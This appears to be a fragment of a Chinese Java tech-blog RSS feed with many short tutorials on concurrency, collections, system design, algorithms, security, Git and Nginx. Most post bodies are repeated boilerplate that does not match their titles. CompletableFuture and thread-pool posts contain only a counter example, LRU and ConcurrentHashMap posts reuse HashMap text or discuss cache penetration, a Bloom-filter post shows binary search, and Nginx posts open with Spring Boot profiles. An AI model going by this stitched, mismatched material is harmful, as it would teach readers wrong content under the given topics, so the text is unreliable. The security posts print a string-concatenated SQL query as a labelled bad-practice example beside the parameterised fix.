    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. AQS 的核心是一个共享状态（state）加上一个双向链表，线程获取锁失败时会被包装成节点加入队列等待

  2. 独占模式和共享模式是 AQS 支持的两种基本模式，分别对应 ReentrantLock 和 Semaphore

  3. tryAcquire/tryRelease 等方法由子类实现，AQS 提供模板方法和队列管理

  4. ConditionObject 是 AQS 的内部类，实现了 Condition 接口，支持线程等待/通知

总结

理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。比如排查死锁、分析线程阻塞原因时，知道 AQS 的工作机制会非常有帮助。

]]> Java并发 JAVA 并发 教程：CompletableFuture 编排异步任务 //completablefuture-bian-pai-yi-bu-ren-wu/ 教程：CompletableFuture 编排异步任务

CompletableFuture 让异步编程更优雅。本文讲它的核心能力和组合方式。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

]]> Java并发 JAVA 并发 教程：ThreadLocal 的使用和内存泄漏问题 //threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/ 教程：ThreadLocal 的使用和内存泄漏问题

ThreadLocal 解决了什么问题、会引发什么问题，这是一个经典话题。很多人用 ThreadLocal 存储用户上下文，却忽略了内存泄漏的风险。本文从原理到内存泄漏的处理方式都覆盖到。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. ThreadLocal 为每个线程提供独立的变量副本

  2. 底层使用 ThreadLocalMap 存储，key 是弱引用

  3. 内存泄漏的原因：ThreadLocal 被回收，但 Entry 仍然引用着 value

  4. 解决方案：使用完毕后调用 remove() 方法

总结

ThreadLocal 是一个强大的工具，但需要谨慎使用。在实际项目中，结合 try-finally 块确保资源被正确清理，可以有效避免内存泄漏问题。

]]> Java并发 JAVA 并发 教程：volatile 能保证什么不能保证什么 //volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/ 教程：volatile 能保证什么不能保证什么

volatile 和 synchronized 经常被拿来比较，但它们解决的问题不一样。很多人误以为 volatile 能保证原子性，其实它只能保证可见性和禁止指令重排。本文从内存模型角度说明 volatile 的作用和局限性。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. volatile 保证可见性：一个线程的修改对其他线程立即可见

  2. volatile 禁止指令重排：确保指令按照代码顺序执行

  3. volatile 不保证原子性：复合操作仍然需要同步

  4. volatile 适合作为状态标志，不适合作为计数器

总结

volatile 是一个轻量级的同步手段，适用于特定场景。在实际项目中，需要根据需求选择合适的同步方式，不要过度依赖 volatile。

]]> Java并发 JAVA 并发 教程：synchronized 和 ReentrantLock 怎么选 //synchronized-he-reentrantlock-zen-me-xuan/ 教程：synchronized 和 ReentrantLock 怎么选

synchronized 是 Java 并发中最常用也最容易被误解的关键字。从早期的重量级锁到现在的锁升级机制，JVM 对它做了很多优化。本文从底层原理到实际使用，把关键细节讲清楚。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. synchronized 可以修饰方法或代码块，前者锁对象实例，后者锁指定对象

  2. 锁升级过程：无锁 → 偏向锁 → 轻量级锁 → 重量级锁

  3. 锁消除和锁粗化是 JVM 的优化手段

  4. synchronized 保证原子性、可见性和有序性

总结

synchronized 是 Java 并发的基础，理解它的工作机制很重要。在实际项目中，合理使用 synchronized 可以保证线程安全，但也要注意锁的粒度。

]]> Java并发 JAVA 并发 教程：线程池参数如何设置才靠谱 //xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/ 教程：线程池参数如何设置才靠谱

线程池参数设置不合理会导致各种问题。本文讲合理的设置方式和监控指标。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

]]> Java并发 JAVA 并发 教程：CopyOnWriteArrayList 适合什么场景 //copyonwritearraylist-gua-he-shi-me-chang-jing/ 教程：CopyOnWriteArrayList 适合什么场景

ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。

基本使用

List<String> names = new ArrayList<>();
names.add("Java");
names.add("Spring");
System.out.println(names.get(0));

扩容机制

ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：

List<Long> ids = new ArrayList<>(1000);

删除元素的正确方式

遍历时删除元素，不要直接在 for-each 里 remove：

Iterator<String> iterator = names.iterator();
while (iterator.hasNext()) {
    if (iterator.next().startsWith("J")) {
        iterator.remove();
    }
}
]]> Java集合 JAVA 集合 教程：LinkedHashMap 如何实现 LRU 缓存 //linkedhashmap-ru-he-shi-xian-lru-huan-cun/ 教程：LinkedHashMap 如何实现 LRU 缓存

HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。
]]> Java集合 JAVA 集合 教程：ConcurrentHashMap 为什么适合并发场景 //concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/ 教程：ConcurrentHashMap 为什么适合并发场景

ConcurrentHashMap 为什么在并发场景下更合适，背后涉及哪些实现细节。从 Java 7 到 Java 8，它的实现发生了很大变化。本文结合实际代码讲清楚这些变化和设计思想。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。

核心要点

  1. Java 7 使用分段锁，Java 8 使用 CAS + synchronized

  2. 锁粒度从段级别降到了节点级别

  3. 使用红黑树优化链表的查询性能

  4. 支持原子操作，如 putIfAbsent、computeIfAbsent

总结

ConcurrentHashMap 是并发编程中常用的数据结构，理解它的实现细节有助于更好地使用它。在实际项目中，选择合适的并发集合可以显著提升性能。

]]> Java集合 JAVA 集合 教程：HashMap 底层结构和扩容过程 //hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/ 教程：HashMap 底层结构和扩容过程

HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。
]]> Java集合 JAVA 集合 教程：ArrayList 扩容机制和使用建议 //arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/ 教程：ArrayList 扩容机制和使用建议

ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。

基本使用

List<String> names = new ArrayList<>();
names.add("Java");
names.add("Spring");
System.out.println(names.get(0));

扩容机制

ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：

List<Long> ids = new ArrayList<>(1000);

删除元素的正确方式

遍历时删除元素，不要直接在 for-each 里 remove：

Iterator<String> iterator = names.iterator();
while (iterator.hasNext()) {
    if (iterator.next().startsWith("J")) {
        iterator.remove();
    }
}
]]> Java集合 JAVA 集合 教程：Java 反射的使用场景和风险 //java-fan-she-de-shi-yong-chang-jing-he-feng-xian/ 教程：Java 反射的使用场景和风险

Java 反射提供了强大的能力，但也带来了风险。本文讲它的使用场景和注意事项。

学习方式

先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。

public class Demo {
    public static void main(String[] args) {
        System.out.println("start");
    }
}

实践建议

不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。

]]> Java基础 学习笔记 JAVA 教程：Java 异常体系和业务异常设计 //java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/ 教程：Java 异常体系和业务异常设计

Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。

学习方式

先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。

public class Demo {
    public static void main(String[] args) {
        System.out.println("start");
    }
}

实践建议

不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。

]]> Java基础 学习笔记 JAVA 教程：Java 泛型的类型擦除到底是什么 //java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/ 教程：Java 泛型的类型擦除到底是什么

泛型让集合和方法在编译期就能检查类型，减少运行时的强制转换错误。但 Java 泛型是通过类型擦除实现的，运行时并不会保留完整的泛型类型。

泛型解决了什么问题

没有泛型时，集合里什么都能放：

List list = new ArrayList();
list.add("hello");
Integer value = (Integer) list.get(0); // 运行时报错

使用泛型后，编译期就能发现问题：

List<String> list = new ArrayList<>();
list.add("hello");
String value = list.get(0);

类型擦除的影响

运行时 List<String> 和 List<Integer> 都会被擦除成 List。所以不能这样判断：

// 编译不通过
if (list instanceof List<String>) {
}
]]> Java基础 学习笔记 JAVA 教程：Java String 为什么设计成不可变 //java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/ 教程：Java String 为什么设计成不可变

String 不可变是 Java 里非常重要的设计。它让字符串可以安全地放进常量池，也让 HashMap 这类结构能放心使用字符串作为 key。

不可变是什么意思

下面的代码看起来像修改了字符串：

String name = "java";
name = name + "-blog";

实际上原来的 java 没有被修改，而是创建了新的字符串对象，再让 name 指向新对象。

为什么这样设计

  • 线程安全：多个线程共享同一个字符串，不会互相改坏。
  • 哈希稳定：字符串作为 Map 的 key 时，hashCode 不会因为内容变化而变化。
  • 常量池复用：相同字面量可以复用，减少内存浪费。

什么时候用 StringBuilder

循环拼接大量字符串时，不要一直用 +：

StringBuilder builder = new StringBuilder();
for (int i = 0; i < 1000; i++) {
    builder.append(i).append(',');
}
String result = builder.toString();
]]> Java基础 学习笔记 JAVA 教程：Java 中 equals 和 hashCode 的正确理解 //java-zhong-equals-he-hashcode-de-zheng-que-li-jie/ 教程：Java 中 equals 和 hashCode 的正确理解

Java 里判断对象是否相等，不能只看 ==。== 比较的是引用地址，equals 通常表示业务意义上的相等。只要重写 equals，一般也要重写 hashCode，否则对象放进 HashMap、HashSet 这类集合后会出现很难排查的问题。

一个最小例子

public class User {
    private Long id;

    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (!(o instanceof User)) return false;
        User user = (User) o;
        return Objects.equals(id, user.id);
    }

    @Override
    public int hashCode() {
        return Objects.hash(id);
    }
}

为什么 hashCode 也要改

HashSet 判断元素是否重复时，会先看 hashCode，再看 equals。如果两个对象 equals 相等，但 hashCode 不一样，它们可能会被放到不同桶里，集合就会认为它们不是同一个对象。

验证方式

写一个简单测试：创建两个 id 相同的 User，放进 HashSet，最后 size 应该是 1。

Set<User> users = new HashSet<>();
users.add(new User(1L));
users.add(new User(1L));
System.out.println(users.size()); // 期望输出 1
]]> Java基础 学习笔记 JAVA 文件上传服务如何保证稳定 //wen-jian-shang-chuan-fu-wu-ru-he-bao-zheng-wen-ding/ 文件上传服务如何保证稳定

文件上传服务需要考虑大小限制、存储方案和稳定性。本文讲一些实用经验。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 订单超时取消如何实现 //ding-dan-chao-shi-qu-xiao-ru-he-shi-xian/ 订单超时取消如何实现

订单超时取消如何实现是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 秒杀系统的核心设计思路 //miao-sha-xi-tong-de-he-xin-she-ji-si-lu/ 秒杀系统的核心设计思路

秒杀系统的核心在于限流、削峰和防重。本文讲它的整体设计思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 短链接系统如何设计 //duan-lian-jie-xi-tong-ru-he-she-ji/ 短链接系统如何设计

短链接系统是一个经典的系统设计题。本文讲它的核心思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 布隆过滤器适合解决什么问题 //bu-long-guo-lu-qi-gua-he-jie-jue-shi-me-wen-ti/ 布隆过滤器适合解决什么问题

布隆过滤器用一定的误判率换取了极低的空间占用。本文讲它适合解决什么问题。

先写清楚输入和输出

算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。

以二分查找为例：

public int binarySearch(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] == target) return mid;
        if (nums[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    return -1;
}

验证边界

至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。

]]> 算法 学习笔记 算法 LRU 缓存淘汰算法动手实现 //lru-huan-cun-tao-tai-suan-fa-dong-shou-shi-xian/ LRU 缓存淘汰算法动手实现

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先写清楚输入和输出

算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。

以二分查找为例：

public int binarySearch(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] == target) return mid;
        if (nums[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    return -1;
}

验证边界

至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。

]]> 算法 学习笔记 算法 二分查找为什么容易写错 //er-fen-cha-zhao-wei-shi-me-rong-yi-xie-cuo/ 二分查找为什么容易写错

二分查找看似简单，实际写起来却很容易出错。本文讲它的常见变体和注意事项。

先写清楚输入和输出

算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。

以二分查找为例：

public int binarySearch(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] == target) return mid;
        if (nums[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    return -1;
}

验证边界

至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。

]]> 算法 学习笔记 算法 密码存储为什么不能明文 //mi-ma-cun-chu-wei-shi-me-bu-neng-ming-wen/ 密码存储为什么不能明文

密码为什么不能明文存储，这是一个基础但容易被忽视的问题。本文讲正确的做法。

安全问题要默认不信任输入

无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。

SQL 注入的例子

危险写法：

String sql = "select * from user where name = '" + name + "'";

推荐使用预编译参数：

SELECT * FROM user WHERE name = ?;

在 MyBatis 中优先使用 #{name}，不要用 ${name} 拼接用户输入。

权限校验

登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。

]]> 安全 学习笔记 安全 接口鉴权和权限校验的区别 //jie-kou-jian-quan-he-quan-xian-xiao-yan-de-qu-bie/ 接口鉴权和权限校验的区别

接口鉴权和权限校验是两个不同层次的概念。本文讲它们的区别和实现方式。

安全问题要默认不信任输入

无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。

SQL 注入的例子

危险写法：

String sql = "select * from user where name = '" + name + "'";

推荐使用预编译参数：

SELECT * FROM user WHERE name = ?;

在 MyBatis 中优先使用 #{name}，不要用 ${name} 拼接用户输入。

权限校验

登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。

]]> 安全 学习笔记 安全 SQL 注入原理和防护方法 //sql-zhu-ru-yuan-li-he-fang-hu-fang-fa/ SQL 注入原理和防护方法

SQL 注入原理和防护方法是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

安全问题要默认不信任输入

无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。

SQL 注入的例子

危险写法：

String sql = "select * from user where name = '" + name + "'";

推荐使用预编译参数：

SELECT * FROM user WHERE name = ?;

在 MyBatis 中优先使用 #{name}，不要用 ${name} 拼接用户输入。

权限校验

登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。

]]> 安全 学习笔记 安全 Git 冲突解决的正确顺序 //git-chong-tu-jie-jue-de-zheng-que-shun-xu/ Git 冲突解决的正确顺序

Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。

提交前先看清楚改动

Git 最重要的习惯是提交前看 diff：

git status
git diff
git diff --cached

确认没有调试代码、临时文件、无关格式化，再提交。

推荐的小步提交

一次提交只做一件事，例如：

git add src/main/java/com/example/UserService.java
git commit -m "fix: handle empty user result"

如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。

冲突怎么处理

遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。

]]> Git 学习笔记 Git Git rebase 和 merge 怎么选 //git-rebase-he-merge-zen-me-xuan/ Git rebase 和 merge 怎么选

Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。

提交前先看清楚改动

Git 最重要的习惯是提交前看 diff：

git status
git diff
git diff --cached

确认没有调试代码、临时文件、无关格式化，再提交。

推荐的小步提交

一次提交只做一件事，例如：

git add src/main/java/com/example/UserService.java
git commit -m "fix: handle empty user result"

如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。

冲突怎么处理

遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。

]]> Git 学习笔记 Git Git 提交前如何检查改动 //git-ti-jiao-qian-ru-he-jian-cha-gai-dong/ Git 提交前如何检查改动

Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。

提交前先看清楚改动

Git 最重要的习惯是提交前看 diff：

git status
git diff
git diff --cached

确认没有调试代码、临时文件、无关格式化，再提交。

推荐的小步提交

一次提交只做一件事，例如：

git add src/main/java/com/example/UserService.java
git commit -m "fix: handle empty user result"

如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。

冲突怎么处理

遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。

]]> Git 学习笔记 Git Nginx 配置修改后的验证流程 //nginx-pei-zhi-xiu-gai-hou-de-yan-zheng-liu-cheng/ Nginx 配置修改后的验证流程

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Nginx 服务器 Nginx Nginx 静态资源缓存配置 //nginx-jing-tai-zi-yuan-huan-cun-pei-zhi/ Nginx 静态资源缓存配置

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Nginx 服务器 Nginx Nginx 反向代理配置入门 //nginx-fan-xiang-dai-li-pei-zhi-ru-men/ Nginx 反向代理配置入门

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Nginx 服务器 Nginx 容器健康检查为什么重要 //rong-qi-jian-kang-jian-cha-wei-shi-me-chong-yao/ 容器健康检查为什么重要

容器健康检查是保证服务稳定的重要一环。本文讲为什么重要以及如何做。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
